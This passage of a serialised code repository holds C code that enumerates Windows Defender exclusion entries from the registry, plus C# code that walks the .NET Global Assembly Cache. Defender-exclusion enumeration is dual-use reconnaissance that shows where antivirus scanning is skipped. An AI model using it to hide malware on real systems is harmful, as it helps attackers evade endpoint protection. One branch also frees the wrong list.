Value\\n\");\n\tprintf(\"---------------     -----\\n\");\n\tfor (DWORD cx = 0x00; cx < (sizeof(DEFENDER_EXCLUSION_LIST) / sizeof(PVOID)); cx++) {\n\n\t\t// Get the correct extension type\n\t\tPDEFENDER_EXCLUSION_ENTRY Entry = *(PUINT64)((PBYTE)&ExclusionList + (8 * cx));\n\n\t\twhile (Entry != NULL) {\n\t\t\tswitch (Entry->Type) {\n\t\t\tcase DefenderExclusionExtensions:\n\t\t\t\tprintf(\"%+-20s%s\\n\", \"Extension\", Entry->Exclusion);\n\t\t\t\tbreak;\n\t\t\tcase DefenderExclusionIpAddress:\n\t\t\t\tprintf(\"%+-20s%s\\n\", \"IpAddress\", Entry->Exclusion);\n\t\t\t\tbreak;\n\t\t\tcase DefenderExclusionPaths:\n\t\t\t\tprintf(\"%+-20s%s\\n\", \"Paths\", Entry->Exclusion);\n\t\t\t\tbreak;\n\t\t\tcase DefenderExclusionProcesses:\n\t\t\t\tprintf(\"%+-20s%s\\n\", \"Processes\", Entry->Exclusion);\n\t\t\t\tbreak;\n\t\t\tcase DefenderExclusionTemporaryPaths:\n\t\t\t\tprintf(\"%+-20s%s\\n\", \"TemporaryPaths\", Entry->Exclusion);\n\t\t\t\tbreak;\n\t\t\t}\n\t\t\tEntry = Entry->Flink;\n\t\t}\n\t}\n\n\t// Cleanup and exit\n\tDfdpCleanup(&ExclusionList);\n\treturn EXIT_SUCCESS;\n}"
  },
  {
    "path": "Defender/ExclusionLists/src/defender.c",
    "content": "/**\n* @file\t\t\tdefender.c\n* @author\t\tPaul L. (@am0nsec)\n* @version\t\t1.0\n* @brief        Windows Defender exclusion list source.\n* @details\n* @link\t\t\thttps://github.com/am0nsec/wspe\n* @copyright\tThis project has been released under the GNU Public License v3 license.\n*/\n\n#include <Windows.h>\n\n#include \"defender.h\"\n\n_Use_decl_annotations_\nHRESULT STDMETHODCALLTYPE DfdGetAllExclusions(\n\t_Out_ PDEFENDER_EXCLUSION_LIST pExclusionsList\n) {\n\tif (pExclusionsList == NULL)\n\t\treturn E_INVALIDARG;\n\n\t// Open and handle to the following windows Registry key:\n\t// Computer\\HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows Defender\\Exclusions\n\tHKEY hExclusionList = INVALID_HANDLE_VALUE;\n\tLSTATUS Status = RegOpenKeyA(\n\t\tHKEY_LOCAL_MACHINE,\n\t\t\"SOFTWARE\\\\Microsoft\\\\Windows Defender\\\\Exclusions\",\n\t\t&hExclusionList\n\t);\n\tif (Status != ERROR_SUCCESS || hExclusionList == INVALID_HANDLE_VALUE)\n\t\treturn E_FAIL;\n\n\t// Get handle to the process heap for memory allocation\n\tHANDLE hHeap = GetProcessHeap();\n\n\t// Build a local copy of the final structure.\n\tDEFENDER_EXCLUSION_LIST ExclusionList = { 0x00 };\n\n\t// Prepare local variables\n\tHRESULT Result = S_OK;\n\tDWORD dwNumberOfValues = 0x00;\n\n\t// Get extensions\n\tExclusionList.Extensions = HeapAlloc(hHeap, HEAP_ZERO_MEMORY, sizeof(DEFENDER_EXCLUSION_ENTRY));\n\tResult = DfdpGetExclusionEntries(\n\t\tExclusionList.Extensions,\n\t\t\"Extensions\",\n\t\tDefenderExclusionExtensions,\n\t\t&hExclusionList,\n\t\t&hHeap,\n\t\t&dwNumberOfValues\n\t);\n\tif (Result != S_OK || dwNumberOfValues == 0x00) {\n\t\tHeapFree(hHeap, 0x00, ExclusionList.Extensions);\n\t\tExclusionList.Extensions = NULL;\n\t}\n\n\t// Get IpAddresses\n\tExclusionList.IpAddresses = HeapAlloc(hHeap, HEAP_ZERO_MEMORY, sizeof(DEFENDER_EXCLUSION_ENTRY));\n\tResult = DfdpGetExclusionEntries(\n\t\tExclusionList.IpAddresses,\n\t\t\"IpAddresses\",\n\t\tDefenderExclusionIpAddress,\n\t\t&hExclusionList,\n\t\t&hHeap,\n\t\t&dwNumberOfValues\n\t);\n\tif (Result != S_OK || dwNumberOfValues == 0x00) {\n\t\tHeapFree(hHeap, 0x00, ExclusionList.IpAddresses);\n\t\tExclusionList.IpAddresses = NULL;\n\t}\n\n\t// Get paths\n\tExclusionList.Paths = HeapAlloc(hHeap, HEAP_ZERO_MEMORY, sizeof(DEFENDER_EXCLUSION_ENTRY));\n\tResult = DfdpGetExclusionEntries(\n\t\tExclusionList.Paths,\n\t\t\"Paths\",\n\t\tDefenderExclusionPaths,\n\t\t&hExclusionList,\n\t\t&hHeap,\n\t\t&dwNumberOfValues\n\t);\n\tif (Result != S_OK || dwNumberOfValues == 0x00) {\n\t\tHeapFree(hHeap, 0x00, ExclusionList.Paths);\n\t\tExclusionList.Paths = NULL;\n\t}\n\n\t// Get processes\n\tExclusionList.Processes = HeapAlloc(hHeap, HEAP_ZERO_MEMORY, sizeof(DEFENDER_EXCLUSION_ENTRY));\n\tResult = DfdpGetExclusionEntries(\n\t\tExclusionList.Processes,\n\t\t\"Processes\",\n\t\tDefenderExclusionProcesses,\n\t\t&hExclusionList,\n\t\t&hHeap,\n\t\t&dwNumberOfValues\n\t);\n\tif (Result != S_OK || dwNumberOfValues == 0x00) {\n\t\tHeapFree(hHeap, 0x00, ExclusionList.Extensions);\n\t\tExclusionList.Extensions = NULL;\n\t}\n\n\t// Get temporary paths\n\tExclusionList.TemporaryPaths = HeapAlloc(hHeap, HEAP_ZERO_MEMORY, sizeof(DEFENDER_EXCLUSION_ENTRY));\n\tResult = DfdpGetExclusionEntries(\n\t\tExclusionList.TemporaryPaths,\n\t\t\"TemporaryPaths\",\n\t\tDefenderExclusionTemporaryPaths,\n\t\t&hExclusionList,\n\t\t&hHeap,\n\t\t&dwNumberOfValues\n\t);\n\tif (Result != S_OK || dwNumberOfValues == 0x00) {\n\t\tHeapFree(hHeap, 0x00, ExclusionList.TemporaryPaths);\n\t\tExclusionList.TemporaryPaths = NULL;\n\t}\n\n\t// Cleanup and return data\n\tRegCloseKey(hExclusionList);\n\t*pExclusionsList = ExclusionList;\n\treturn S_OK;\n}\n\n_Use_decl_annotations_\nHRESULT STDMETHODCALLTYPE DfdpGetExclusionEntries(\n\t_In_  PDEFENDER_EXCLUSION_ENTRY     pExclusionEntry,\n\t_In_  LPCSTR                        szSubKeyName,\n\t_In_  CONST DEFENDER_EXCLUSION_TYPE Type,\n\t_In_  CONST PHKEY                   pParentKey,\n\t_In_  CONST PHANDLE                 phHeap,\n\t_Out_ PDWORD                        pdwNumberOfValues\n) {\n\tif (pExclusionEntry == NULL\n\t\t|| szSubKeyName == NULL\n\t\t|| pParentKey == NULL\n\t\t|| *pParentKey == INVALID_HANDLE_VALUE\n\t\t|| phHeap == NULL)\n\t\treturn E_INVALIDARG;\n\n\t// Open an handle to the subkey\n\tHKEY hSubKey = INVALID_HANDLE_VALUE;\n\tLSTATUS Status = RegOpenKeyA(\n\t\t*pParentKey,\n\t\tszSubKeyName,\n\t\t&hSubKey\n\t);\n\tif (Status != ERROR_SUCCESS || hSubKey == INVALID_HANDLE_VALUE)\n\t\treturn E_FAIL;\n\n\t// Get all the number of values stored in the Registry key\n\tDWORD dwMaxValueNameLength = 0x00;\n\n\tStatus = RegQueryInfoKeyA(\n\t\thSubKey,\n\t\tNULL,\n\t\tNULL,\n\t\tNULL,\n\t\tNULL,\n\t\tNULL,\n\t\tNULL,\n\t\tpdwNumberOfValues,\n\t\t&dwMaxValueNameLength,\n\t\tNULL,\n\t\tNULL,\n\t\tNULL\n\t);\n\tif (Status != ERROR_SUCCESS) {\n\t\tRegCloseKey(hSubKey);\n\t\treturn E_FAIL;\n\t}\n\tif (*pdwNumberOfValues == 0x00)\n\t\treturn S_OK;\n\tdwMaxValueNameLength++;\n\n\t// Save previous entry\n\tPDEFENDER_EXCLUSION_ENTRY Blink = NULL;\n\n\t// Get all the values one by one\n\tfor (DWORD cx = 0x00; cx < *pdwNumberOfValues; cx++) {\n\n\t\t// Allocate memory for a new entry\n\t\tPDEFENDER_EXCLUSION_ENTRY ExclusionEntry = NULL;\n\t\tif (cx == 0x00) {\n\t\t\tExclusionEntry = pExclusionEntry;\n\t\t}\n\t\telse {\n\t\t\tExclusionEntry = HeapAlloc(*phHeap, HEAP_ZERO_MEMORY, sizeof(DEFENDER_EXCLUSION_ENTRY));\n\t\t}\n\t\tExclusionEntry->Exclusion = HeapAlloc(*phHeap, HEAP_ZERO_MEMORY, dwMaxValueNameLength);\n\n\t\t// Get the value name\n\t\tDWORD dwBufferSize = dwMaxValueNameLength;\n\t\tStatus = RegEnumValueA(hSubKey, cx, ExclusionEntry->Exclusion, &dwBufferSize, NULL, NULL, NULL, NULL);\n\t\tif (Status != ERROR_SUCCESS) {\n\t\t\tHeapFree(*phHeap, 0x00, ExclusionEntry->Exclusion);\n\t\t\tHeapFree(*phHeap, 0x00, ExclusionEntry);\n\t\t\tRegCloseKey(hSubKey);\n\t\t\treturn E_FAIL;\n\t\t}\n\n\t\t// Allocate memory for the double-linked list\n\t\tExclusionEntry->Type = Type;\n\t\tExclusionEntry->Length = dwBufferSize;\n\n\t\t// Create chain\n\t\tif (Blink != NULL) {\n\t\t\tExclusionEntry->Blink = Blink;\n\t\t\t((PDEFENDER_EXCLUSION_ENTRY)ExclusionEntry->Blink)->Flink = ExclusionEntry;\n\t\t}\n\t\tBlink = ExclusionEntry;\n\t}\n\n\tRegCloseKey(hSubKey);\n\treturn S_OK;\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\t//// Allocate memory for first entry\n\n\n\t//// Extract all the entries\n\t//HRESULT Result = DfdpGetExclusionEntries(\n\t//\tpExclusionEntry,\n\t//\tDefenderExclusionExtensions,\n\t//\t&hSubKey,\n\t//\tphHeap\n\t//);\n\t//if (Result != S_OK) {\n\t//\tHeapFree(*phHeap, 0x00, pExclusionsList->Extensions);\n\t//\treturn E_FAIL;\n\t//}\n\t//return S_OK;\n}\n\n_Use_decl_annotations_\nHRESULT STDMETHODCALLTYPE DfdpCleanup(\n\t_In_ PDEFENDER_EXCLUSION_LIST pExclusionsList\n) {\n\tif (pExclusionsList == NULL)\n\t\treturn E_FAIL;\n\n\t// Get handle to process heap\n\tHANDLE hHeap = GetProcessHeap();\n\n\t// Clean all the memory allocated\n\tfor (DWORD cx = 0x00; cx < (sizeof(DEFENDER_EXCLUSION_LIST) / sizeof(PVOID)); cx++) {\n\t\tPDEFENDER_EXCLUSION_ENTRY Entry = *(PUINT64)((PBYTE)pExclusionsList + (8 * cx));\n\t\twhile (Entry != NULL) {\n\t\t\tHeapFree(hHeap, 0x00, Entry->Exclusion);\n\t\t\tif (Entry->Blink != NULL)\n\t\t\t\tHeapFree(hHeap, 0x00, Entry->Blink);\n\t\t\tif (Entry->Flink == NULL) {\n\t\t\t\tHeapFree(hHeap, 0x00, Entry);\n\t\t\t\tbreak;\n\t\t\t}\n\t\t\tEntry = Entry->Flink;\n\t\t}\n\t}\n\n\tZeroMemory(pExclusionsList, sizeof(DEFENDER_EXCLUSION_LIST));\n\treturn S_OK;\n}"
  },
  {
    "path": "Fusion/FindAssembly/FindAssembly.csproj",
    "content": "﻿<?xml version=\"1.0\" encoding=\"utf-8\"?>\n<Project ToolsVersion=\"15.0\" xmlns=\"http://schemas.microsoft.com/developer/msbuild/2003\">\n  <Import Project=\"$(MSBuildExtensionsPath)\\$(MSBuildToolsVersion)\\Microsoft.Common.props\" Condition=\"Exists('$(MSBuildExtensionsPath)\\$(MSBuildToolsVersion)\\Microsoft.Common.props')\" />\n  <PropertyGroup>\n    <Configuration Condition=\" '$(Configuration)' == '' \">Debug</Configuration>\n    <Platform Condition=\" '$(Platform)' == '' \">AnyCPU</Platform>\n    <ProjectGuid>{3B49B239-4005-4F25-9E39-522C61B980BE}</ProjectGuid>\n    <OutputType>Exe</OutputType>\n    <RootNamespace>FindAssembly</RootNamespace>\n    <AssemblyName>FindAssembly</AssemblyName>\n    <TargetFrameworkVersion>v4.8</TargetFrameworkVersion>\n    <FileAlignment>512</FileAlignment>\n    <AutoGenerateBindingRedirects>true</AutoGenerateBindingRedirects>\n    <Deterministic>true</Deterministic>\n    <TargetFrameworkProfile />\n  </PropertyGroup>\n  <PropertyGroup Condition=\" '$(Configuration)|$(Platform)' == 'Debug|AnyCPU' \">\n    <PlatformTarget>AnyCPU</PlatformTarget>\n    <DebugSymbols>true</DebugSymbols>\n    <DebugType>full</DebugType>\n    <Optimize>false</Optimize>\n    <OutputPath>bin\\Debug\\</OutputPath>\n    <DefineConstants>DEBUG;TRACE</DefineConstants>\n    <ErrorReport>prompt</ErrorReport>\n    <WarningLevel>4</WarningLevel>\n    <Prefer32Bit>false</Prefer32Bit>\n  </PropertyGroup>\n  <PropertyGroup Condition=\" '$(Configuration)|$(Platform)' == 'Release|AnyCPU' \">\n    <PlatformTarget>AnyCPU</PlatformTarget>\n    <DebugType>pdbonly</DebugType>\n    <Optimize>true</Optimize>\n    <OutputPath>bin\\Release\\</OutputPath>\n    <DefineConstants>TRACE</DefineConstants>\n    <ErrorReport>prompt</ErrorReport>\n    <WarningLevel>4</WarningLevel>\n  </PropertyGroup>\n  <ItemGroup>\n    <Reference Include=\"System\" />\n    <Reference Include=\"System.Core\" />\n    <Reference Include=\"System.Xml.Linq\" />\n    <Reference Include=\"System.Data.DataSetExtensions\" />\n    <Reference Include=\"Microsoft.CSharp\" />\n    <Reference Include=\"System.Data\" />\n    <Reference Include=\"System.Net.Http\" />\n    <Reference Include=\"System.Xml\" />\n  </ItemGroup>\n  <ItemGroup>\n    <Compile Include=\"Fusion\\GACUtil.cs\" />\n    <Compile Include=\"Fusion\\IAssemblyCache.cs\" />\n    <Compile Include=\"Fusion\\IAssemblyCacheItem.cs\" />\n    <Compile Include=\"Fusion\\IAssemblyEnum.cs\" />\n    <Compile Include=\"Fusion\\IAssemblyName.cs\" />\n    <Compile Include=\"Program.cs\" />\n    <Compile Include=\"Properties\\AssemblyInfo.cs\" />\n    <Compile Include=\"Win32\\Functions.cs\" />\n    <Compile Include=\"Win32\\Macros.cs\" />\n  </ItemGroup>\n  <ItemGroup>\n    <None Include=\"app.config\" />\n  </ItemGroup>\n  <Import Project=\"$(MSBuildToolsPath)\\Microsoft.CSharp.targets\" />\n</Project>"
  },
  {
    "path": "Fusion/FindAssembly/FindAssembly.sln",
    "content": "﻿\nMicrosoft Visual Studio Solution File, Format Version 12.00\n# Visual Studio Version 16\nVisualStudioVersion = 16.0.30128.36\nMinimumVisualStudioVersion = 10.0.40219.1\nProject(\"{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}\") = \"FindAssembly\", \"FindAssembly.csproj\", \"{3B49B239-4005-4F25-9E39-522C61B980BE}\"\nEndProject\nGlobal\n\tGlobalSection(SolutionConfigurationPlatforms) = preSolution\n\t\tDebug|Any CPU = Debug|Any CPU\n\t\tRelease|Any CPU = Release|Any CPU\n\tEndGlobalSection\n\tGlobalSection(ProjectConfigurationPlatforms) = postSolution\n\t\t{3B49B239-4005-4F25-9E39-522C61B980BE}.Debug|Any CPU.ActiveCfg = Debug|Any CPU\n\t\t{3B49B239-4005-4F25-9E39-522C61B980BE}.Debug|Any CPU.Build.0 = Debug|Any CPU\n\t\t{3B49B239-4005-4F25-9E39-522C61B980BE}.Release|Any CPU.ActiveCfg = Release|Any CPU\n\t\t{3B49B239-4005-4F25-9E39-522C61B980BE}.Release|Any CPU.Build.0 = Release|Any CPU\n\tEndGlobalSection\n\tGlobalSection(SolutionProperties) = preSolution\n\t\tHideSolutionNode = FALSE\n\tEndGlobalSection\n\tGlobalSection(ExtensibilityGlobals) = postSolution\n\t\tSolutionGuid = {6C916D44-E4CC-47F6-B49F-E7EB90122027}\n\tEndGlobalSection\nEndGlobal\n"
  },
  {
    "path": "Fusion/FindAssembly/Fusion/GACUtil.cs",
    "content": "﻿using System;\nusing System.Text;\nusing FindAssembly.Win32;\nusing System.Runtime.InteropServices;\n\nnamespace FindAssembly.Fusion {\n\n    [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)]\n    public struct FUSION_INSTALL_REFERENCE {\n        public uint cbSize;\n        public uint dwFlags;\n        public Guid guidScheme;\n        public string szIdentifier;\n        public string szNonCannonicalData;\n    }\n\n    [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)]\n    public struct ASSEMBLY_INFO {\n        public uint cbAssemblyInfo;\n        public uint dwAssemblyFlags;\n        public ulong uliAssemblySizeInKB;\n        public IntPtr pszCurrentAssemblyPathBuf;\n        public uint cchBuf;\n    }\n\n    public struct ASSEMBLY_VERSION {\n        public short wMajor;\n        public short wMinor;\n        public short wBuild;\n        public short wRevision;\n    }\n\n    public struct ASSEMBLY_IDENTITY {\n        public string szName;\n        public string szGacPath;\n        public string szVersion;\n    }\n\n    public enum ASM_CACHE_FLAGS : uint {\n        ASM_CACHE_ZAP = 0x1,\n        ASM_CACHE_GAC = 0x2,\n        ASM_CACHE_DOWNLOAD = 0x4,\n        ASM_CACHE_ROOT = 0x8,\n        ASM_CACHE_ROOT_EX = 0x80\n    }\n\n    public class GACUtil {\n\n        public const uint IASSEMBLYCACHE_INSTALL_FLAG_REFRESH = 0x00000001;\n        public const uint IASSEMBLYCACHE_INSTALL_FLAG_FORCE_REFRESH = 0x00000002;\n        public static uint IASSEMBLYCACHE_UNINSTALL_DISPOSITION_UNINSTALLED = 0x00000001;\n        public static uint IASSEMBLYCACHE_UNINSTALL_DISPOSITION_STILL_IN_USE = 0x00000002;\n        public static uint IASSEMBLYCACHE_UNINSTALL_DISPOSITION_ALREADY_UNINSTALLED = 0x00000003;\n        public static uint IASSEMBLYCACHE_UNINSTALL_DISPOSITION_DELETE_PENDING = 0x00000004;\n        public static uint IASSEMBLYCACHE_UNINSTALL_DISPOSITION_HAS_INSTALL_REFERENCES = 0x00000005;\n        public static uint IASSEMBLYCACHE_UNINSTALL_DISPOSITION_REFERENCE_NOT_FOUND = 0x00000006;\n        public static uint QUERYASMINFO_FLAG_VALIDATE = 0x00000001;\n        public static uint QUERYASMINFO_FLAG_GETSIZE = 0x00000002;\n        public static uint ASSEMBLYINFO_FLAG_INSTALLED = 0x00000001;\n        public static uint ASSEMBLYINFO_FLAG_PAYLOADRESIDENT = 0x00000002;\n\n        private IAssemblyEnum pIAssemblyEnum { get; set; }\n        private IAssemblyCache pIAssemblyCache { get; set; }\n\n        /// <summary>\n        /// Constructor. Initialise IAssemblyEnum and IAssemblyCache.\n        /// </summary>\n        public GACUtil() {\n            uint hr = Functions.CreateAssemblyEnum(out IAssemblyEnum pIAssemblyEnum, IntPtr.Zero, null, ASM_CACHE_FLAGS.ASM_CACHE_GAC, IntPtr.Zero);\n            if (!Macros.SUCCEEDED(hr) || pIAssemblyEnum == null)\n                throw new Exception(\"[-] Unable to create IAssemblyEnum interface.\");\n            this.pIAssemblyEnum = pIAssemblyEnum;\n\n            hr = Functions.CreateAssemblyCache(out IAssemblyCache pIAssemblyCache, 0);\n            if (!Macros.SUCCEEDED(hr) || pIAssemblyCache == null)\n                throw new Exception(\"[-] Unable to create fusion!IAssemblyEnum interface.\");\n            this.pIAssemblyCache = pIAssemblyCache;\n        }\n\n        /// <summary>\n        /// Destructor. Release IAssemblyEnum and IAssemblyCache\n        /// </summary>\n        ~GACUtil() {\n            if (this.pIAssemblyEnum != null)\n                Marshal.ReleaseComObject(this.pIAssemblyEnum);\n            if (this.pIAssemblyCache != null)\n                Marshal.ReleaseComObject(this.pIAssemblyCache);\n        }\n\n        /// <summary>\n        /// Parse all the Assemblies from the Global Assembly Cache (GAC). \n        /// </summary>\n        /// <param name=\"wszFilter\">Assembly to find.</param>\n        /// <param name=\"wMajor\">Major version of the Assembly to find</param>\n        /// <param name=\"pAssemblyIdentity\">Pointer to an ASSEMBLY_IDENTITY structure.</param>\n        /// <returns>Whether the function successfully executed</returns>\n        private uint ParseAllAssembliesInternal(string wszFilter, short wMajor, ref ASSEMBLY_IDENTITY pAssemblyIdentity) {\n            // Parse all assemblies\n            while (this.pIAssemblyEnum.GetNextAssembly(IntPtr.Zero, out IAssemblyName pIassemblyName, 0) == 0) {\n                string wszAssemblyName = \"\";\n                this.GetAssemblyName(ref pIassemblyName, ref wszAssemblyName);\n\n                string wszAssemblyGacPath = \"\";\n                this.GetAssemblyGACPath(ref wszAssemblyName, ref wszAssemblyGacPath);\n\n                ASSEMBLY_VERSION AssemblyVersion = new ASSEMBLY_VERSION();\n                this.GetAssemblyVersion(ref pIassemblyName, ref AssemblyVersion);\n\n                // Search for an Assembly\n                if ((!string.IsNullOrEmpty(wszFilter) && wszFilter.Equals(wszAssemblyName)) && (wMajor != 0) && wMajor == AssemblyVersion.wMajor) {\n                    if (pAssemblyIdentity.Equals(null))\n                        return Macros.E_FAIL;\n\n                    pAssemblyIdentity.szName = wszFilter;\n                    pAssemblyIdentity.szGacPath = wszAssemblyGacPath;\n                    pAssemblyIdentity.szVersion = AssemblyVersion.wMajor + \".\" + AssemblyVersion.wMinor + \".\" + AssemblyVersion.wBuild + \".\" + AssemblyVersion.wRevision;\n                    return Macros.S_OK;\n                }\n            }\n\n            if (!string.IsNullOrEmpty(wszFilter))\n                return Macros.E_FAIL;\n            return Macros.S_OK;\n        }\n\n        /// <summary>\n        /// Parse all the Assemblies from the Global Assembly Cache (GAC).\n        /// </summary>\n        /// <returns>Whether the function successfully executed.</returns>\n        public uint ParseAllAssemblies() {\n            ASSEMBLY_IDENTITY dummy = new ASSEMBLY_IDENTITY();\n\n            this.pIAssemblyEnum.Reset();\n            return this.ParseAllAssembliesInternal(null, 0, ref dummy);\n        }\n\n        /// <summary>\n        /// Find an Assembly from the Global Assembly Cache (GAC).\n        /// </summary>\n        /// <param name=\"wszAssemblyName\">Name of the Assembly to find.</param>\n        /// <param name=\"wMajor\">Major version of the Assembly to find.</param>\n        /// <param name=\"pAssemblyIdentity\">Pointer to an ASSEMBLY_IDENTITY structure.</param>\n        /// <returns></returns>\n        public uint FindAssembly(string wszAssemblyName, short wMajor, ref ASSEMBLY_IDENTITY pAssemblyIdentity) {\n            if (wszAssemblyName == null || pAssemblyIdentity.Equals(null))\n                return Macros.E_FAIL;\n\n            this.pIAssemblyEnum.Reset();\n            return this.ParseAllAssembliesInternal(wszAssemblyName, wMajor, ref pAssemblyIdentity);\n        }\n\n        /// <summary>\n        /// Get the name of an Assembly.\n        /// </summary>\n        /// <param name=\"pIAssemblyName\">Pointer to an IAssemblyName interface.</param>\n        /// <param name=\"wszAssemblyName\">Pointer to the name of the Assembly.</param>\n        /// <returns>Whether the function successfully executed.</returns>\n        public uint GetAssemblyName(ref IAssemblyName pIAssemblyName, ref string wszAssemblyName) {\n            if (pIAssemblyName == null)\n                return Macros.E_FAIL;\n\n            uint uBufferSize = 0;\n            pIAssemblyName.GetName(ref uBufferSize, null);\n            if (uBufferSize == 0)\n                return Macros.E_FAIL;\n\n            StringBuilder bob = new StringBuilder((int)uBufferSize);\n            uint hr = pIAssemblyName.GetName(ref uBufferSize, bob);\n            if (!Macros.SUCCEEDED(hr))\n                return Macros.E_FAIL;\n\n            wszAssemblyName = bob.ToString();\n            return Macros.S_OK;\n        }\n\n        /// <summary>\n        /// Get the path of the Assembly in the Global Assembly Cache (GAC).\n        /// </summary>\n        /// <param name=\"wszAssemblyName\">Pointer to the name of the assembly to query information.</param>\n        /// <param name=\"wszAssemblyGacPath\">Pointer to the path of the assembly in the GAC.</param>\n        /// <returns>Whether the function successfully executed.</returns>\n        public uint GetAssemblyGACPath(ref string wszAssemblyName, ref string wszAssemblyGacPath) {\n            if (this.pIAssemblyCache == null || wszAssemblyName == null)\n                return Macros.E_FAIL;\n\n            // Get buffer size\n            ASSEMBLY_INFO AssemblyInfo = new ASSEMBLY_INFO();\n            pIAssemblyCache.QueryAssemblyInfo(QUERYASMINFO_FLAG_GETSIZE, wszAssemblyName, ref AssemblyInfo);\n            if (AssemblyInfo.cchBuf == 0)\n                return Macros.E_FAIL;\n\n            // Get value\n            AssemblyInfo.pszCurrentAssemblyPathBuf = Marshal.AllocHGlobal((int)AssemblyInfo.cchBuf * 2);\n            uint hr = pIAssemblyCache.QueryAssemblyInfo(QUERYASMINFO_FLAG_VALIDATE, wszAssemblyName, ref AssemblyInfo);\n            if (!Macros.SUCCEEDED(hr))\n                return Macros.E_FAIL;\n\n            // Copy value\n            wszAssemblyGacPath = Marshal.PtrToStringUni(AssemblyInfo.pszCurrentAssemblyPathBuf);\n            Marshal.FreeHGlobal(AssemblyInfo.pszCurrentAssemblyPathBuf);\n            return Macros.S_OK;\n        }\n\n        /// <summary>\n        /// Get the version of an Assembly.\n        /// </summary>\n        /// <param name=\"pIAssemblyName\">Pointer to an IAssemblyName interface.</param>\n        /// <param name=\"pAssemblyVersion\">Pointer to an ASSEMBLY_VERSION structure.</param>\n        /// <returns>Whether the function successfully executed.</returns>\n        public uint GetAssemblyVersion(ref IAssemblyName pIAssemblyName, ref ASSEMBLY_VERSION pAssemblyVersion) {\n            if (pIAssemblyName == null || pAssemblyVersion.Equals(null))\n                return Macros.E_FAIL;\n\n            pIAssemblyName.GetVersion(out uint dwHigh, out uint dwLow);\n            pAssemblyVersion.wMajor = (short)(dwHigh >> 0x10);\n            pAssemblyVersion.wMinor = (short)(dwHigh & 0xff);\n            pAssemblyVersion.wBuild = (short)(dwLow >> 0x10);\n            pAssemblyVersion.wRevision = (short)(dwLow & 0xff);\n            return Macros.S_OK;\n        }\n    }\n}\n"
  },
  {
    "path": "Fusion/FindAssembly/Fusion/IAssemblyCache.cs",
    "content": "﻿using System;\nusing System.Runtime.InteropServices;\n\nnamespace FindAssembly.Fusion {\n\n    /// <summary>\n    /// Represents the global assembly cache for use by the fusion technology.\n    /// </summary>\n    [ComImport, Guid(\"E707DCDE-D1CD-11D2-BAB9-00C04F8ECEAE\")]\n    [InterfaceType(ComInterfaceType.InterfaceIsIUnknown)]\n    public interface IAssemblyCache {\n\n        /// <summary>\n        /// Uninstalls the specified assembly from the global assembly cache.\n        /// </summary>\n        /// <param name=\"dwFlags\"> Flags defined in Fusion.idl.</param>\n        /// <param name=\"pszAssemblyName\">The name of the assembly to uninstall.</param>\n        /// <param name=\"pRefData\">A FUSION_INSTALL_REFERENCE structure that contains the installation data for the assembly.</param>\n        /// <param name=\"pulDisposition\">One of the disposition values defined in Fusion.idl. Possible values include the following:\n        /// <list type=\"bullet\">\n        /// <item>IASSEMBLYCACHE_UNINSTALL_DISPOSITION_UNINSTALLED (1)</item>\n        /// <item>IASSEMBLYCACHE_UNINSTALL_DISPOSITION_STILL_IN_USE (2)</item>\n        /// <item>IASSEMBLYCACHE_UNINSTALL_DISPOSITION_ALREADY_UNINSTALLED (3)</item>\n        /// <item>IASSEMBLYCACHE_UNINSTALL_DISPOSITION_DELETE_PENDING (4)</item>\n        /// <item>IASSEMBLYCACHE_UNINSTALL_DISPOSITION_HAS_INSTALL_REFERENCES (5)</item>\n        /// <item>IASSEMBLYCACHE_UNINSTALL_DISPOSITION_REFERENCE_NOT_FOUND (6)</item>\n        /// </list>\n        /// </param>\n        /// <returns>HRESULT</returns>\n        [PreserveSig]\n        uint UninstallAssembly(\n            uint dwFlags,\n            [MarshalAs(UnmanagedType.LPWStr)] string pszAssemblyName,\n            [MarshalAs(UnmanagedType.LPArray)] FUSION_INSTALL_REFERENCE[] pRefData,\n            out uint pulDisposition\n        );\n\n        /// <summary>\n        /// Gets the requested data about the specified assembly.\n        /// </summary>\n        /// <param name=\"dwFlags\">Flags defined in Fusion.idl. The following values are supported: \n        /// <list>\n        /// <item>QUERYASMINFO_FLAG_VALIDATE (0x00000001)</item>\n        /// <item>QUERYASMINFO_FLAG_GETSIZE (0x00000002)</item>\n        /// </list>\n        /// </param>\n        /// <param name=\"pszAssemblyName\">The name of the assembly for which data will be retrieved.</param>\n        /// <param name=\"pAsmInfo\">An ASSEMBLY_INFO structure that contains data about the assembly.</param>\n        /// <returns>HRESULT</returns>\n        [PreserveSig]\n        uint QueryAssemblyInfo(\n            uint dwFlags,\n            [MarshalAs(UnmanagedType.LPWStr)] string pszAssemblyName,\n            ref ASSEMBLY_INFO pAsmInfo\n        );\n\n        /// <summary>\n        /// Gets a reference to a new IAssemblyCacheItem object.\n        /// </summary>\n        /// <param name=\"dwFlags\">Flags defined in Fusion.idl. The following values are supported: \n        /// <list type=\"bullet\">\n        /// <item>IASSEMBLYCACHE_INSTALL_FLAG_REFRESH (0x00000001)</item>\n        /// <item>IASSEMBLYCACHE_INSTALL_FLAG_FORCE_REFRESH (0x00000002)</item>\n        /// </list>\n        /// </param>\n        /// <param name=\"pvReserved\">Reserved for future extensibility. pvReserved must be a null reference.</param>\n        /// <param name=\"ppAsmItem\">The returned IAssemblyCacheItem pointer.</param>\n        /// <param name=\"pszAssemblyName\">Uncanonicalized, comma-separated name=value pairs.</param>\n        /// <returns>HRESULT</returns>\n        [PreserveSig]\n        uint CreateAssemblyCacheItem(\n            uint dwFlags,\n            IntPtr pvReserved,\n            out IAssemblyCacheItem ppAsmItem,\n            [MarshalAs(UnmanagedType.LPWStr)] string pszAssemblyName\n        );\n\n        /// <summary>\n        /// Reserved for internal use by the fusion technology.\n        /// </summary>\n        /// <param name=\"ppAsmScavenger\">The returned IUnknown pointer.</param>\n        /// <returns>HRESULT</returns>\n        [PreserveSig]\n        uint CreateAssemblyScavenger([MarshalAs(UnmanagedType.IUnknown)] out object ppAsmScavenger);\n\n        /// <summary>\n        /// Installs the specified assembly in the global assembly cache.\n        /// </summary>\n        /// <param name=\"dwFlags\">Flags defined in Fusion.idl. The following values are supported:\n        /// <list type=\"bullet\">\n        /// <item>IASSEMBLYCACHE_INSTALL_FLAG_REFRESH (0x00000001)</item>\n        /// <item>IASSEMBLYCACHE_INSTALL_FLAG_FORCE_REFRESH 